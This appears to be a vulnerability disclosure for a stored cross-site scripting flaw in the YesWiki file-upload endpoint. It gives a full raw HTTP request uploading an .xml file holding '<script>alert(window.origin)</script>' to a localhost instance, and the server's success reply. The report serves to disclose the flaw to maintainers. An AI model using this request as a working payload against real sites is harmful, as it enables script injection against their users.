Description

In file upload function, the server allow upload .xml file with contain some javascript code lead to XSS.

Proof of Concept

REQUEST

POST /?PageTitre/ajaxupload&qqfile=index.xml HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-File-Name: index.html
Content-Type: application/octet-stream
Content-Length: 39
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?PageTitre/edit
Cookie: wp-settings-time-1=1658856152; YesWiki-main=g6bv3567aj3la9qfeob02ni1mv
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


<script>alert(window.origin)</script>

RESPONSE

HTTP/1.1 200 OK
Date: Wed, 27 Jul 2022 08:49:10 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: PHP/7.4.29
X-frame-Options: deny
Content-Security-Policy: frame-ancestors 'none';
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: YesWiki-main=g6bv3567aj3la9qfeob02ni1mv; path=/; HttpOnly
Set-Cookie: name=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Set-Cookie: password=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Set-Cookie: remember=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Content-Length: 133
Connection: close
Content-Type: text/html; charset=UTF-8

{"success":"1","filename":"files\/PageTitre_index_20220727154155_20220727104911.xml_","simplefilename":"index.xml","extension":"xml"}

PoC Image